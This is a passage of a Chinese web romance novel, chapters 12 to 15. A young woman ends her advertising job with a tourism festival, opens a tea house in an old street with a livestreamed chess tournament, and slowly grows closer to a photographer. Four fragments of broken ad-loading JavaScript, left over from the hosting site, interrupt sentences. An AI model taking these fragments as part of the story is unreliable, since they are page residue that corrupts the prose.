听到“臭男人”,余念念眼前浮现出与这三个字截然相反的,早上那张清清浅浅笑着的脸——心里又是咯噔一声,顿时警铃大作,大声道:“别扯这些有的没的了!我接下来可是要忙事业的,哪有心思想这些!你快点回去上你的班吧!” 12. 惆怅 接下来的一周,余念念忙到头顶冒烟。 一方面,她在丰岚最后的工作——西流镇文旅展的项目即将在周末开展,她答应赵主任和贾福要完美收场,当然,她自己内心也希望给过去几年的打工生活画上一个完美句号。 另一方面,新店开张前的各项准备工作正如火如荼地进行,办理各项证照、装修店面、制定开张当天的仪式,等等,每一样都要耗费大量脑细胞和沟通成本,她的店还没招人,一切都靠自己,还好沈童一有空就来帮她,要不然她真要猝死在店门口。 其实,她也不是没有别的人可以求助。白老隔三差五路过店铺门口时,都会伸头往里看一眼,每次看到余念念,都热情地招呼她去书画斋坐坐,听她回绝说自己太忙了之后,又让她有需要尽管找白砚帮忙。 每次听到这话,她都一阵心虚。本来她早几天就应该去找白砚看‘寒亭夕照’的照片素材,但她一直拖着,拖着的原因她自己也没想明白。从在书画斋门口告别后已经过去一周,眼看西流文旅展就在第二天,她一直没再见过白砚。 也好,等文旅展过了,她全部心思可以都扑在店铺上之后,再去找他聊好了,她如此解读自己的行为。 —————— 文旅展开展得很顺利。 当天,天气晴朗,暖洋洋的阳光驱散南方冬天的湿冷,让游人可以畅意地在古镇四处探访。 余念念设计的几个打卡点巧妙地将西流镇的古建筑和自然风光串联起来,加上当地书画协会伴手礼的加持,游人无不逛得开心,拿得更开心。 夜幕降临时,游客大多都参观完了位于江边的最后一处古建筑——陶然祠,每人手里提着一只孔明灯,沿着江边的漫步道散布成一条蜿蜒的人流,等着最后的放飞孔明灯环节。 陶然祠外的文旅展临时办公室里,余念念也拿了只孔明灯,用毛笔歪歪扭扭地在灯身上写了几个字,喜滋滋地欣赏了片刻,一回身,见书画协会副会长文老师一脸笑意地看着她,瞬时不好意思地红了脸。 “文老师,让您见笑了,我的毛笔字太丑了。”她把孔明灯换了个方向,字藏在了自己身前。 文老师跟赵主任差不多年纪,四十岁上下,常年从事书画工作,一身的书卷气,刚刚看她的眼神带着惯常看年轻人的充满友善的笑意,绝不会是取笑的意思,只是余念念从小看爷爷写毛笔字,自己却没学到一星半点神韵,感到羞愧。 “没什么,飞到天上都一样,祝福写出来了就好。”文老师温和道。 余念念点点头,觉得文老师简直是温柔的神,却突然听到身后传来一声冷哼,转头一看,身后只有赵主任坐在桌前,背对着他们。 余念念以为自己听错了,抬头张望了一番,确实没有别人了,莫非是赵主任? 赵主任对文老师的话发出了一声嘲讽?那怎么可能! 余念念转回头,见文老师脸上的笑意里带上了一丝尴尬,却并不气恼,他盯着赵主任的背影看了片刻,转身回到他写毛笔字的桌边去了。 嗯?余念念的八卦雷达响起来,这里面有故事! 但她一个小年轻,还是个乙方,怎么好当面打听人家甲方的八卦呢,除了他们两人,自己也不认识别人了,她叹口气,不得不压下让人心痒痒的八卦欲,眼神一抬,瞥见一个身影从门口飘过去,瞬时喜出望外,有道是瞌睡来了送枕头——适合打听八卦的人来了! 她跟赵主任招呼了一声,走出门外,捕捉到那个矮壮的身影后,快步追了上去,大喊一声:“村长!” “哦哟!”村长惊得一跳,扭头见是余念念,笑了起来,又往她身后看了看,见没有别人,才亲热地招呼她:“小余!你也来啦!最近咋样?” 余念念觉得他行迹可疑,问:“你在躲人?”想了想,眼睛一眯:“你在躲赵主任?” 村长看了看余念念,转身示意她继续往前走,边走边低声道:“我也不瞒你了,谁让咱俩是银杏树底下交过心的交情。还不是她赵主任,邀请我来文旅展,又要防着我夹带私货!” “夹带私货?什么私货?” “我们洪家村的私货啊。宝来家的灯笼,我们的百家宴,我们的银杏树,我们的大回廊,哪一样不可以拿出来好好宣传宣传?我们洪家村的旅游本来就对口西流镇文旅中心,偏偏她赵主任防着我,让我不要喧宾夺主,说什么这是西流镇的主场,要一步一步来,不能搞杂了!” 余念念点点头:“赵主任说的没错啊!” 村长噎住,不服:“这么大个文旅展,还专门找了广告公司,就容不下我宣传下洪家村?” 余念念摇摇头:“确实容不下了,我就是赵主任找的广告公司的人,整个流程就是我设计的。” 村长气结:“你!你还是不是那个跟我交心的小余!” “村长,整个文旅展的流程环环相扣,紧密相连,一气呵成地走下来才能达到最大化宣传西流镇旅游资源的效果,塞进任何别的东西都不流畅了,赵主任说得没错,你等下次吧。” 村长气鼓鼓地瞪了她半晌,又突然转怒为笑:“这么说,你是城里广告公司的人才?赵主任都找你,看来你很厉害啊。我本来也是想花点钱给洪家村打打广告的,凭咱俩私交,怎么样,可以打个折吧?” 余念念摆摆手:“晚了,我已经提了辞职了,干完这次就要去开茶馆了,要不,我在茶馆里帮你宣传宣传?” 村长“啧”了一声:“你的茶馆一天才能有几个人,而且,小年轻开茶馆,还不知道能开几天!” “你别小看我!我会用我在广告公司学到的一切来经营我的茶馆。你不是让我在崇安市爱上点啥么,这个茶馆就是我要爱上的第一样东西!” 村长安静下来,看着她,片刻后点头道:“我信,你会成功的,那我们来谈谈你的茶馆怎么帮我宣传洪家村吧。” “......那倒也不用这么急,等开张了再说也不迟,现在我们可以先聊点别的。” “比如呢?” “比如,赵主任和文老师——?”余念念边说,边冲着他挤眼睛。 村长惊讶地瞪着她:“这么隐秘的八卦都被你知道了?” “你果然知道!快告诉我!” 村长一把年纪,比余念念大了快两轮,这两人凑到一起时却莫名很投缘。村长朝前挥了挥手,领着她往更远的地方走,一老一少两颗脑袋凑在一起小声说着陈年八卦。 “他俩啊,早二十年就该好上了!他们本来是一个村的,就是洪家村隔壁的赵家湾,小时候就爱一起玩,后来,又一起到镇上念初中,不出意外还要一起念高中,但赵主任家里穷,还有个弟弟,她父母觉得她念了初中很可以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,不让她再念高中了,让她到服装厂上班赚钱。” “啊,怎么这样......” “她上班了,文老师接着念高中,但是听说文老师还经常去厂子里看她,给她送书送日用品啥的。文老师相貌好,学习好,在当时高中就是你们现在年轻人说的‘男神’,一堆小姑娘喜欢。后来,有一次,高中搞文艺晚会,文老师有书法表演的节目,把赵主任也邀请去了,他在台上正表演呢,突然就有个姑娘冲上台去,跟他当众表白,还亲了他一口,更指名道姓地说,服装厂里姓赵的女工配不上他,他应该找一个文化水平相当的人。” 余念念倒抽一口气:“赵主任气死了吧?” “要不怎么说赵主任是个狠人呢!她头也不回地走了,当天就从西流镇消失了,她家里、厂子里、所有认识她的人里,没有一个知道她去了哪里。” “那她到底去了哪里?” “当时没人知道啊,过了三年,赵家湾她家里才收到一封表彰信,表彰她家出了一个大学生,他们才知道,她躲起来念书去了,考上了大学。文老师一听到消息,就从省城的师范学院赶到她家里,又赶到她念大学的学校,不知道两人怎么聊的,可能是聊崩了。” “啊......怎么会聊崩了呢?” “听后面从赵家传出来的意思,赵主任这辈子不想跟男人扯上关系了,就想自己干一些事情。她从大学建筑系毕业,本来可以留在大城市里工作,但她回到了西流镇,天天研究那些建筑,慢慢做到了文旅中心的主任,一心就想把西流镇的古建筑宣传起来,从今年的文旅展举办的情况来看,她的愿望说不定就快实现喽。” 听起来是个不错的事,但余念念有些惆怅地问:“那文老师呢?” 村长也叹了口气:“世界上哪有那么多圆满的事,可能,这辈子就这样了吧,一个一心做自己想做的事,另一个不远不近地看着,她需要啥帮助了,就义无反顾地去帮帮她,这样不也挺好的么。” 余念念点点头:“难怪这次文旅展,书画协会这么积极配合呢。” “好啦!八卦听完了,天也黑了,该去江边放孔明灯了!我得赶紧去,说不定能抓到几个愿意跟我聊聊招商引资的县领导!” “嗨,您还惦记着您的私货呢!” —————— 江边已经亮起了星星点点的火光。 余念念捧着自己的孔明灯,小心翼翼地避开人流。成群结队的游人兴致高涨,一个个望着半空中缓缓升起的写着祝福的孔明灯。 “啊!”余念念被一个边跑边抬头望天的小孩撞到,身体一歪,低呼着倒向地面,下一刻,被一双胳膊圈住,带了起来。 “白砚?”她愣住,看着突然出现在眼前的人。 白砚穿着一身黑,黑色高领毛衣,黑色大衣,黑色裤子,黑色鞋子,只有一张脸,在火光映照下显得格外的清冷。 “你怎么在这儿?”余念念问。 “我是文旅展合作摄影师,当然在这儿。” “我是说,你不是应该在文旅展中心展台那儿么?怎么会来江边?” 白砚盯着余念念的眼睛看了片刻,问:“你一天都缩在办公室,没去展台,是因为我在那里?” 余念念眼神心虚地移开,不敢看他。 白砚问:“你在躲我?” 13. 请柬 白砚:“你在躲我?” 余念念:“......” 是在躲,但是躲的原因得包装一下,总不能直接说:因为你那天早上在病床上笑得我心痒痒吧?像个变态。 “我害你生病,心里很内疚,很自责,在反省为什么没早点发现你不舒服,反而让你拖成了高烧。” 嗯,理由很充分,态度很诚恳。 白砚的眼神柔和了几分:“你不是熬夜照顾我了么,可以抵消了。” 很好,圆上了。 “要是你再不来拿寒亭夕照的素材,我就删掉了,占内存。”白砚看着她的眼睛道。 “?”这反转速度? 余念念脑子里那张温柔浅笑的脸龟裂了,损毁程度50%。 “还有,你要的摄影支持想好没有,再不来找我兑换,我就反悔了,那是爷爷答应的,不是我。”白砚继续面无表情道。 “!” 那张脸彻底碎成渣渣了,损毁程度100%! “我知道了!”愧疚自责的面具被抛到一边,余念念暴露真面目,像只被逗急眼的猫。 白砚却像是心情大好,两手揣进大衣口袋里,放松地抬头看,整片天空已经布满了星星点点的孔明灯。 “啊!”余念念大叫一声,“我的孔明灯还没放呢!” 她快步走到江边,看到不远处,赵主任、文老师还有村长聚在一起,也凑了过去,白砚跟在她身后。 “你们也来放孔明灯啦!”她见他们每人手里都提了只孔明灯,惊喜道。 “嗯,来应个景。”文老师笑着说。 “哼,求人不如求己,反正不花钱,我自个儿许个愿呗!”村长阴阳怪气道。 赵主任憋着笑不接话,见余念念的孔明灯还没点上,递了盒火柴过去,白砚伸手接了,替余念念点了火,看到灯身上的字,脸上露出笑意。 余念念不好意思:“我知道写得难看,但你也笑得太明显了吧!” “我不是笑你的字,是觉得你的愿望很别致。” “别致?” 白砚点点头:“不知道的,还以为是老街居委会主任许的愿望。” 余念念看了眼自己的孔明灯,上面两排歪歪扭扭的毛笔字,第一排:祝老街越来越好! 第二排:(崇安市南山区长坪老街) “哦......我是怕光写老街,不知道是哪个老街,毕竟世界上有那么多条老街,所以又补了个地址......” 精准许愿。老街好,她的茶馆才能好,格局是有的,但是不那么多。 像旁边,赵主任就写了:国泰民安。雍容大气,格局凸显,毛笔字也周正,不知是不是曾经受文老师的影响。 文老师呢,写得就有点暧昧了:伊人安康。赵主任的眼神一直躲避往他的方向看,但也不是生气的样子,余念念一下又觉得,这事儿还有戏! 村长的毛笔字比余念念的更丑,许的愿倒是和她有异曲同工之处,质朴得很雷同:洪家村越来越好。在某个小小的角落里,又画了个乱糟糟的东西,像是写错了被胡乱涂掉的一团,但余念念仔细看了几眼便知道,那是棵银杏树。 五个人站成一排,看着四只孔明灯缓缓飞上夜空。 “你怎么不放一个?”余念念扭头问白砚。 “已经放了,在见到你之前。” “那你写的什么愿望?”余念念好奇。 白砚沉默片刻,挤出几个字:“不告诉你。” “......” 小气鬼,余念念翻了个白眼,转回头看了会儿天空,又开心起来,丰岚的工作终于顺利收尾了,从明天起,她就能专心搞茶馆了! —————— 栈南河旁的槐树下,一群大爷照例围着石桌,下棋的下棋,看棋的看棋。 一声稚嫩的呼喊声突然由远及近地传来,接着,一个虎头虎脑的小男孩冲进了大爷堆里,手里举着两个红色的信封。 “乐宝!来给你爷爷送东西?”外圈的一个大爷亲昵地摸了摸小男孩的脑袋。 “乐宝,我在这儿呢!”之前和余念念她们说过话的刘大爷冲自己孙子招招手。 乐宝摇摇头,又往人群中间钻,钻到石桌旁,将手里的信封往棋盘上一放,说道:“漂亮阿姨说了,只能给魏爷爷和王爷爷!” “嗯?什么漂亮阿姨?是不是骗小孩儿的?” “为啥只能给他俩?” “神秘兮兮的......” 王大爷伸手把信封拿起来,翻了个面,几个大字映入众人眼帘:“巅峰之战邀请函”,下面还有一行小字:致王大爷,另一封是一模一样的邀请函,只是小字是致魏大爷。 两个大爷对视一眼,不以为意地哧笑了几声,边拆信封边道:“搞什么把戏!”“就是,故弄玄虚!” 王大爷先拆开,里面掉出一张卡片,卡片正面印着张象棋棋盘,背面写了字,他大声念起来: “尊敬的王大爷,您的棋艺出神入化,诚挚邀请您明天一早参加首届老街象棋直播大赛,我们将在大屏幕上向整条老街的居民直播您下棋时智慧的神姿,若得胜,您的名字更将被冠以‘老街棋王’的称号,接受所有往来行人的膜拜!敬候您的到来。比赛地点:老街茶馆。” 念完了,王大爷默默盯着请柬半晌不说话,但眼睛里的精光暴露了他内心的欣喜。他抬头看,对面的魏大爷也是一脸跃跃欲试的表情。 “好家伙,出神入化!神姿!棋王!看看这小词儿用的!”围观的一位大爷酸溜溜地说道。 “就是!合着整条老街就你俩有资格争夺棋王呗?这什么比赛?水平我看一般!”另一位大爷接道。 “送信啦送信啦!”一道稚嫩的童声又传进来,一个扎着两个小辫的小女孩跑进人群,将两只手上的信封递给刚刚冒完酸水的两个大爷,两人对视一眼,顿时喜出望外:“哟,我俩也有?” “尊敬的肖(韩)大爷,您的棋艺令人折服,诚挚邀请您明天一早参加首届老街象棋直播大赛,向魏王两位大爷发起有力冲击,若冲击成功,‘老街棋王’称号即刻易主,也未可知,这是证明您精湛棋艺的最佳时刻,我们将全程为您进行现场直播!敬候您的到来。比赛地点:老街茶馆。” 一肖一王两位大爷立刻换 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了口风:“这比赛可以!”“嗯,有点水平!” ...... 过了没一会儿,又陆续来了几个小孩儿,都是老街街坊家的小孩,按照某位神秘“漂亮阿姨”的指示,将手上的信封送到河边榕树下的某位大爷手里。 大爷们陆陆续续收到了信封,虽然里面对棋艺的描述各有参差,但也都是溢美之词,所以也没有不满意了,都对第二天的比赛兴奋不已。 最后,只剩下刘大爷还没收到信封。 “别急老刘,说不定是小孩儿不够用了,在凑小孩儿呢。”一个大爷打趣道。 “也有可能吃饭去了,毕竟现在都快中午了!”另一个大爷一本正经安慰。 刘大爷黑着张脸,甩了甩袖子,往回走,走到小巷口,李婶家的小葫芦边吃棒棒糖边举着个信封,慢吞吞走过来。 刘大爷作势要敲他脑瓜子:“吃吃吃!就你动作慢!”说着,一手抢过小葫芦手上的信封,脸色转阴为晴,哼着小曲儿回家了。 —————— 晚上,颜喜书画斋。 余念念做贼一样,戴着帽子,帽檐压得低低的,轻手轻脚地钻了进来,熟门熟路地坐在沙发上。 白砚起身去给她倒水,白老笑眯眯地看着她道:“你今天可是把那群老家伙的兴致勾起来了!一下午,我这铺子里就没消停过,一个接一个地来找我打听你这茶馆里卖的什么药。” “嘿嘿!那我就放心了!您不知道,那些请柬写得我手都要断了!” 白老冲白砚一扬下巴:“这不是有免费的劳动力么,你怎么不用。” 余念念缩了缩脖子:“这点小事,哪敢劳烦白大摄影师。而且,那些话,他写起来会感到羞耻的,连我自己都觉得羞耻......” 白老笑着摇头:“亏你能想出这个点子。” 余念念一脸正经:“白老,根据我的观察,男人——不管是多大年纪的男人,永远都是争强好胜外加爱听奉承话。” 她瞥了眼白砚脸色,赶紧补上:“当然,除了您和白砚!” 白老发出阵大笑,白砚则拿起本书挡住了脸,显然是懒得和她计较。 她靠近几步,小声问:“我的寒亭夕照还在吧?” “......嗯。” “你不是要删了么?” 白砚放下书,看向她:“你到底是希望它在,还是不希望它在?” “我......”余念念顿住,“我只是确认一下,我知道你这个人偶尔爱毒舌,内心还是很善良的,肯定不会删我照片!” 白砚淡淡道:“要不是看你最近确实是忙,我早就删了。” “......你真是个好人。” 白老在旁边默默听了阵子,这时,缓缓发问:“你们两个,都这么了解和体谅对方了?” 白砚像是被自己口水呛到,猛地干咳起来。余念念像是被电了一下,全身上下似乎都在解释,嘴里念叨:“不不不!白老,您误会了,我们......” “我们”了半天,也没“我们”出下文,只能落荒而逃,在店门口留下句:“明天茶馆开张,记得来!” 14. 开张 第二天,茶馆开张日。 天刚蒙蒙亮,余念念和沈童匆匆赶到茶馆,被围在门口的一群人震惊住了。 以下棋大爷及其家属为首的一群老街居民聚在“老街茶馆”的匾额下,边吃着早点,边唠着家常,远远看到余念念,冲她招手。 “小余!快来!” “开店的怎么能比客户来的还晚!” 余念念前一晚在店里准备到凌晨三点多,回家眯了两个小时,此时顶着两个巨大的黑眼圈,举起手机看了眼,才六点! 沈童在一旁猛地戳了戳余念念,她才彻底清醒过来,喜笑颜开地掏出钥匙开了门,站在门口,大声迎客。 “老街茶馆今日正式开张!欢迎第一批客人!” 伴随着她的招呼声,店里灯光亮起,大大的落地玻璃窗后,十几张木质黑色小方桌依次排列,最中间的几张桌上,各摆着一副象棋棋盘,正对着玻璃窗的那面墙上,一块巨大的屏幕这时也亮起来,上面几个大字:老街棋王,巅峰对决! 几个字一出来,人群里就爆发出一阵掌声,几个大爷瞬间精神振奋,眼中放光,围着中间的几张桌子便坐了下来,一个个摩拳擦掌。 余念念招呼着其他围观街坊在外面一圈桌子坐下,站在中间,大声道:“各位街坊先别急!我请大家喝茶,喝了热茶,手暖了,脑子灵光了,再战不迟!” 说着,她和沈童一起,将刚刚泡好的茶水依次送到每桌,茶香一下子在整间茶馆大堂中飘散开来。 “这茶好香!小余,这是什么茶叶?” “这茶名叫‘寒亭夕照’,是我老家产的绿茶,品质有保证,绿色无污染!”余念念伶牙俐齿地应道,“今天,所有桌的热茶不限量供应!全都免费!” 正中间那桌坐着的魏大爷竖起大拇指:“小余,你考虑太周到了,我下棋最怕茶没了!” 他对面,王大爷笑道:“今天你要是输给我,总没借口了吧!” 一轮茶喝下来,时间差不多七点,店外,老街上的人流逐渐多了起来,余念念冲沈童递了个眼色。 唰—— 茶馆正中间天花板上,一道雪白的聚光灯亮起,打在了中间几张桌上,几个被聚光灯笼罩的大爷瞬时虎躯一震。 墙上的大屏幕上,大字消失,取而代之的,是魏大爷和王大爷桌上的实时画面,众人注视下,两个大爷端着茶杯的手紧张地僵硬地抽一下。 “喂喂喂,123123,”余念念不知什么时候举了个麦克风,清了清嗓子,激情洋溢地大声道:“我宣布!老街茶馆象棋巅峰对决,现在开始!” “哇哦!”“好耶!”“老王加油!”“老魏加油!”...... 一时间,鼓掌声、喝彩声、加油声四起,整间茶馆热闹非凡。 —————— 半上午时分,茶馆里已经座无虚席,甚至有不少街坊自带了小板凳,在茶馆门外坐着,透过落地玻璃观看象棋直播。 店内几场象棋正焦灼地进行着,其他桌的人也喝着茶相谈甚欢,不需要余念念和沈童盯着招呼了,她们终于可以在前台后面的凳子上坐着休息会儿。 白老一大早就来了,本来被余念念安排到一张桌子上喝茶聊天,这时,也起身走到她旁边的小凳上坐下。 “小余,你办象棋比赛的方法,真是妙啊。” 沈童也点头:“自己只搭了个台子,演员自觉自愿登台唱戏,观众自己就能把场子炒热,余念念,你不愧是广告公司出来的优秀员工,这个方案策划得好啊!” 余念念歪在墙上:“是无缘优秀员工的普通员工,谢谢。” 她指了指墙上的大屏幕:“白爷爷,您猜这个屏多少钱?” 白老:“四五千?” “那只能买个普通的,我这可是高清的,一万多!” 她又指了指头顶的灯:“定制全套灯光,八千多。”又指了指角落里嗡嗡运作着的机器,“全套直播设备,一万多。”指指最近一张桌上的茶具,“上好的景德镇茶具,两万多!” 她往墙上一瘫:“我已经被榨干了。” 沈童:“有人拿刀架在你脖子上逼你买了么?我说买二手的,你非要买好的。” “......有时,我也恨我自己宁缺毋滥的性格......” 白老笑了笑,道:“这点倒是和我们家白砚一样,从小,他认准的人和事,就变不了了,谁来也不行。” 嗯?余念念听在耳朵里,心里好奇,白砚还有认准的人?他的生活里不是只有白老么? “对了,白砚呢?”她问。 “估计快来了吧,说是给你取礼物去了。” 话音刚落,白砚迈进店里,手里拎了一个四四方方的大家伙,用包装纸包裹着。 余念念迎上去:“这是你送我的礼物?” “嗯。”白砚把东西递过去。 余念念接过去,放到台面上,揭开包装纸,露出一副巨大的照片。 “啊,是寒亭夕照!” 照片上,一半是延绵的茶田,一半是金黄的天空,一座寒亭立于二者之间,寒亭夕照。 白砚抬头看了看除了落地玻璃和挂着大屏幕之外的两面雪白的墙面,点评:“真干净。” “......谢谢你没说真寒酸。” 她对这份礼物十分满意,立刻就搬了凳子和工具到其中一面墙下,抬脚就要上去,被跟过来的白砚拉住。 “我来,你给我递工具。” 余念念点头,在下面一边递东西,一边指导高低平直,差不多了,回头冲白老和沈童问:“你们看着平了么?” 却见那两个人正凑在一起热聊着什么,时不时朝她和白砚所在的方向瞥两眼,脸上露出暧昧的笑容。 “沈童!”余念念大喊一声,“你跟白老说什么呢?” “哦!我说,说照片呢,白砚眼光真好!” 眼光真好?那不应该是技术真好么。 她转回头,白砚还在精细地调整角度,下颚线跟着他认真的表情一起紧绷着,从余念念的角度看去,是两道干净利落的线条。 看这较真的样子,宁缺毋滥她是信的,那,认准的人是谁呢? 这时,店门口又进来两人,手上都拎着大大的袋子。 “村长,文老师,你们居然真的抽空过来了!” 她在西流镇文 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旅展当天跟他们说过茶馆的开张日,也邀请了他们过来,但毕竟隔得不近,没抱希望他们真会来。 村长乐呵呵走进来,将手里两个圆滚滚的东西递到余念念手上:“咱俩什么交情,我当然要当来面祝贺!”凑近了,他压低音量:“这茶馆人流量真不错,洪家村的宣传,咱俩可以勾兑起来了!” 文老师从他身后轻轻推了他一把:“你到底是来祝贺小余开张还是来夹带私货的。”说着,将一件长条形的东西递到余念念手上:“赵老师实在脱不开身,托我帮她带来,祝你开张大吉!” 余念念连连道谢,接过去打开,圆滚滚两只的是洪家村宝来大叔家古法工艺的灯笼,上面写着:招财、纳福。长条形的是一幅毛笔字:以茶会友。 余念念问文老师:“这是赵老师托您写的么?” 文老师点头:“她说不知道你的茶馆走什么风格,但这几个字总是不会错的。” 余念念眼睛一转:“那这到底算您的礼物还是算赵老师的礼物?” 文老师顿住,回答哪个似乎都不太对。说是他自己送的,字却是赵主任定的,那为什么他得听赵主任的?说是赵主任送的,却又是文老师亲自写的,不仅不收钱,还人肉送了过来。 村长插进来:“是你俩一起送的,不分彼此!” 文老师:“......” 又是一通张罗,灯笼挂在了门口,字画挂在了另一面墙上,茶馆的色彩又更丰满了几分。 一阵欢呼声突然响起,里面和外面围观看棋的人纷纷起身鼓掌,不少嘴里喊着:“棋王!棋王!” 余念念看向大堂中央那桌,魏大爷笑得见眉不见眼,王大爷扼腕叹息连连摇头——焦灼了一个多小时的比赛终于分出了胜负。 她赶紧冲回前台,拿起麦克风,大声道:“我宣布,老街茶馆首任棋王是:魏大爷!” 掌声雷动。 配合着余念念的话,沈童在电脑前敲打按键,大屏幕上开始撒花,同时出现几个大字:棋王魏大志! “我宣布:魏大爷将获得老街茶馆颁布的棋王专属奖品——七天免费畅饮卡!” 其他大爷惊讶道:“居然还有奖品!”“就是啊!早说有奖品我就不隐藏实力啦!”“切你可拉倒!” 余念念又说:“这七天里,其他人来店里向魏大爷发起棋王挑战的,一律打五折!” “挑战!一定来挑战!”大爷群情沸腾。 余念念接着道:“其他老街街坊喝茶观战,一律打七折!” “好!”“余老板大方!” —————— 晚上十点,人流散去。 余念念在厨房清洗茶具,沈童在大堂打扫地面。 一个男人走进茶馆,步子放得很轻,沈童一开始甚至没有察觉有人进来,一回身,才看见一个男人站在茶馆中央,也不出声,就这么四下打量着。 “......您需要什么么?”沈童问。 男人看了她一眼,不咸不淡地扯了扯嘴角,没说话。 “茶馆已经打烊了,要不,您明天再来?” 男人又张望了几眼,依然沉默着,转身快步走了出去。 15. 小优 “陌生男人?”余念念问。 “嗯,奇奇怪怪的,问啥都不说话,看了几眼就走了。”沈童撇着嘴说道。 余念念累得够呛,脑子都快宕机了,勉强想了几秒,想不出个所以然,问:“咱们今天开张,阵仗是不是有点大?” “不是有点大,是太大了。我今天充分领教了什么叫朝气蓬勃的老年人,要不是咱打烊,那群大爷能血战到天亮。”沈童有气无力道,生动演绎什么叫死气沉沉的年轻人。 “那这么大阵仗,吸引一些好奇人士,也不奇怪了。”余念念拍拍沈童肩膀,“这段时间幸好有你,明天开始你别请假了,你最近请假太多,老板肯定心里不爽。” “你一个人能行么?赶紧招个人吧?”沈童有点不放心。 “当然行,一个刚开张的小破茶馆,我还不配招人。” —————— “我不行了,我要招人!” 三天后,余念念端着一堆茶具进厨房,冲水池边的白砚大喊。 开张三天以来,茶馆热度一直不减,每天清早,象棋爱好者准时报到,先是站在大门口对着大屏幕上前一天诞生的“棋王”一通复盘讨论,讨论过程中,吃完早饭的老街街坊持续加入,接着,乌泱泱一群人进茶馆,落座,点上一壶茶,开局,激战——像极了网吧里沉迷网游的热血中二少年。 三天里,每次路过茶馆都走进来想跟她聊两句的白老硬是没找到聊一句话的缝隙,于是第三天大手一挥,把自己孙子派过来帮忙,解了余念念的燃眉之急,她负责在大厅里招呼客人,白砚在厨房里帮她清洗茶具。 他接过余念念手里的东西,“嗯”了一声:“我中午就帮你写广告,贴在公告栏上。” 那一刻,余念念觉得他的背影在发出天使的光辉!她想了想,觉得此时此刻必须得夸夸他,于是,夹里夹气地道:“你写的广告肯定很好看吧?” 白砚瞥了她一眼:“一般吧,肯定没爷爷写得好,好处是不会吸引到酒鬼。” 余念念:“......” 他不是天使,他是魔鬼。 下午,余念念抽空出门,到老街路口的公告栏上瞻仰了一下白砚写的广告,在一众打印字体中那张广告很显眼,远看清秀整齐,近看每个字都灵动飘逸。 字如其人。 余念念抱臂正看着,一只丁零当啷作响的手臂伸到她眼皮子底下,径直揭下了那张纸。 余念念转头,一个画着浓重烟熏妆,顶着一头蓝发,踩着十厘米细高跟,拎着巨大LV的女人正仔细阅读纸上的内容。 一股熟悉的感觉油然而生,这一秒,余念念仿佛魂穿回第一次认识那天晚上的白砚,感觉自家的干净白菜快被拱了! “......你找工作?”她尽量温和有礼地问。 女人头都没抬,语调平淡:“嗯,找。” 很好,看来委婉不了一点了,余念念当机立断正色道:“我觉得这个工作可能不适合你。” 女人终于转过头看了她一眼,眼影下的眼睛很难分辨出情绪:“你是?” “我是这家茶馆的老板,里面客人都是上了年纪的大爷大妈,跟你的画风完全不一致。” 女人眨了眨眼睛,将手中东西——刚揭下来的广告纸,和LV——一股脑递到余念念手上:“麻烦帮我拿一下。” “......” 余念念来不及说半个字,双手捧包,眼睁睁看着女人一手掀开蓝色假发,放下里面的黑色长发,又从包里翻出个镜子和半包卸妆湿巾,当着她的面开始卸妆,用了十几张卸妆湿巾之后,一张干净白皙的年轻女人的脸出现在余念念面前,眼神清澈。 “现在可以了么,姐姐?”女人,哦不,女孩问。 余念念半长着嘴没说话——她还没法接受眼前这两脸和一分钟之前那张脸是同一个人。 女孩眼珠子一转,蹬蹬两下脱了高跟鞋,身高一下子矮了半截,看余念念的眼神瞬间从俯视变成了仰视,眼睛又眨了眨:“姐姐?” 余念念:“......把鞋穿好,到店里来聊吧。” 女孩名叫计小优,居然是余念念同学校小师妹,目前大四,刚保完研,学校没什么事,有空出来打工。 “你刚刚打扮成那样是为啥?”余念念问。 “本来要去对面那条街的酒吧面试驻唱,吵了一架,吹了。” “面试还能吵架?”余念念记忆里,自己面试的时候都是表演乖乖女型人格。 “他们让我唱歌间隙下场买酒,我说不可能,我只坐着唱歌,屁股不会从椅子上挪开一下。” “......哦。”余念念没去过酒吧,对这个行业一点不了解,只是从自己角度想了想,觉得小师妹有道理,又想到什么,说:“但是我们茶馆有可能是需要卖茶的。” 小优笑起来,像是被这个师姐可爱到了:“可以啊姐姐,你的茶馆一看就很正经,让我干啥我干啥。” “嗯,那你什么时候可以来上班?” “随时,现在?我缺钱。” 余念念眯眼扫描了她一番,她的鞋——她认得那个牌子——最便宜也要两三千,她身上的香水味很高级,透着品味和金钱的味道,更别提她的那只巨大的LV。缺钱?骗鬼呢! 小优皱起脸:“真的,姐姐,我因为读研的选择方向跟家里闹翻了,我爸一气之下断了我一切财源,我所有黑金信用卡都刷不了了,只剩几个没用的衣服包包鞋子。我真的缺钱!” “......”余念念一时间分辨不出她到底在哭穷还是在炫富,但是,能马上上班,倒是个加分项。 而且,怎么说,都是她同校小师妹,这点情分还是要有的吧,欸等等,同校?余念念眼前一亮。 “你玩学校论坛么?”余念念问。 小优点点头:“玩呀,论坛老混子了。” 她们共同的母校——崇安大学,是崇安市最好的大学,距离老街不远,有直达的地铁公交,余念念当年上学的时候就经常来这快区域逛街,而且,崇安大学论坛很活跃,她记得她以前经常从论坛上获取各种本地吃喝玩乐的讯息。 余念念冲小优伸出只手:“你通过面试了!说好的,让你干啥就干啥!” 这下轮到小优迟疑了,半天不敢伸手:“你......你想让我干啥,我还要保研的。” 余念念笑起来:“放心吧,你学姐我也是优秀毕业生,不会让你做不该做的事。你啊,现在先老老实实给我打工,等时机成熟了,你可能是我打开年轻市场的一计妙方!” 小优似懂非懂,这时,大堂里有人喊:“小余!没热水啦!” “来啦!”余念念应了声,冲小优使了个眼色:“还不快开工?” 小优乖乖捧起水壶,踩着高跟鞋走了两步,又被余念念拉住,牵到前台里面,指了指靠墙放着的一双老式拖鞋,示意她换下。 小优换了鞋,舒服地叹了口气:“我要这拖鞋链接!” 余念念:“新员工福利,明天就给你搞双新的。” 小优开开心心捧着水壶,踩着拖鞋,原地出工。不出半小时,已经十分融入茶馆氛围,穿梭于大堂各桌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之间,甚至混熟了几桌C位桌的核心老客。 “魏大爷,给您加茶!” 